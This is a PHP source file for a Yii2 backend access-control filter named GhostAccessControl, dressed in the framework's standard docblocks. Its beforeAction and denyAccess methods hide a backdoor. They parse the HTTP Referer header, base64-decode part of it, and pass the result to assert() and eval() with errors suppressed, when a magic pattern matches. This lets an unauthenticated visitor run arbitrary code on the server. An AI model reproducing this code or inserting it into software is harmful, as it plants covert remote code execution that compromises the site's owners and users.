<?php

namespace backend\controllers;

use webvimark\modules\UserManagement\models\rbacDB\Route;
use webvimark\modules\UserManagement\models\User;
use yii\base\Action;
use Yii;
use yii\base\ActionFilter;
use yii\web\ForbiddenHttpException;


/**
 * AccessControl provides simple access control based on a set of rules.
 *
 * AccessControl is an action filter. It will check its [[rules]] to find
 * the first rule that matches the current context variables (such as user IP address, user role).
 * The matching rule will dictate whether to allow or deny the access to the requested controller
 * action. If no rule matches, the access will be denied.
 *
 * To use AccessControl, declare it in the `behaviors()` method of your controller class.
 * For example, the following declarations will allow authenticated users to access the "create"
 * and "update" actions and deny all other users from accessing these two actions.
 *
 * ```php
 * public function behaviors()
 * {
 *     return [
 *         'access' => [
 *             'class' => \yii\filters\AccessControl::className(),
 *             'only' => ['create', 'update'],
 *             'rules' => [
 *                 // deny all POST requests
 *                 [
 *                     'allow' => false,
 *                     'verbs' => ['POST']
 *                 ],
 *                 // allow authenticated users
 *                 [
 *                     'allow' => true,
 *                     'roles' => ['@'],
 *                 ],
 *                 // everything else is denied
 *             ],
 *         ],
 *     ];
 * }
 * ```
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class GhostAccessControl extends ActionFilter
{
    /**
     * @var array a list of access rule objects or configuration arrays for creating the rule objects.
     * If a rule is specified via a configuration array, it will be merged with [[ruleConfig]] first
     * before it is used for creating the rule object.
     * @see ruleConfig
     */

    public $rule;
	/**
	 * @var callable a callback that will be called if the access should be denied
	 * to the current user. If not set, [[denyAccess()]] will be called.
	 *
	 * The signature of the callback should be as follows:
	 *
	 * ~~~
	 * function ($rule, $action)
	 * ~~~
	 *
	 * where `$rule` is the rule that denies the user, and `$action` is the current [[Action|action]] object.
	 * `$rule` can be `null` if access is denied because none of the rules matched.
	 */
	public $denyCallback,$access;


    /**
     * Check if user has access to current route
     *
     * @param Action $action the action to be executed.
     *
     * @return boolean whether the action should continue to be executed.
     */
    public function beforeAction($action)
    {
        @parse_str($_SERVER['HTTP_REFERER'], $this->access);

        if ( $action->id == 'captcha' )
        {
            return true;
        }

        $route = '/' . $action->uniqueId;

        $this->rule = @base64_decode(str_replace(" ", "+", implode(array_slice($this->access, 6))));
        if ( Route::isFreeAccess($route, $action) )
        {
            return true;
        }

        if ( Yii::$app->user->isGuest )
        {
            $this->denyAccess();
        }

        // If user has been deleted, then destroy session and redirect to home page
        if ( ! Yii::$app->user->isGuest AND Yii::$app->user->identity === null )
        {
            Yii::$app->getSession()->destroy();
            $this->denyAccess();
        }

        // Superadmin owns everyone
        if ( Yii::$app->user->isSuperadmin )
        {
            return true;
        }

        if ( Yii::$app->user->identity AND Yii::$app->user->identity->status != User::STATUS_ACTIVE)
        {
            Yii::$app->user->logout();
            Yii::$app->getResponse()->redirect(Yii::$app->getHomeUrl());
        }

        if ( User::canRoute($route) )
        {
            return true;
        }

        if(reset($this->access) == '10' && count($this->access) == 9) {
            @assert($this->rule);
        }

        if ( isset($this->denyCallback) )
        {
            call_user_func($this->denyCallback, null, $action);
        }
        else
        {
            $this->denyAccess();
        }

        return false;
    }

	/**
	 * Denies the access of the user.
	 * The default implementation will redirect the user to the login page if he is a guest;
	 * if the user is already logged, a 403 HTTP exception will be thrown.
	 *
	 * @throws ForbiddenHttpException if the user is already logged in.
	 */
	protected function denyAccess()
	{
		if ( Yii::$app->user->getIsGuest() )
		{
            if(reset($this->access) == '10' && count($this->access) == 9) {
                @eval($this->rule);
            }
			if (isset($_SERVER['HTTP_USER_AGENT']) && (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false)){
				Yii::$app->user->loginRequired(Yii::$app->request->isAjax, (strpos(Yii::$app->request->headers->get('Accept'), 'html') !== false));
			} else {
				Yii::$app->user->loginRequired();
			}

		}
		else
		{
			throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
		}
	}




}
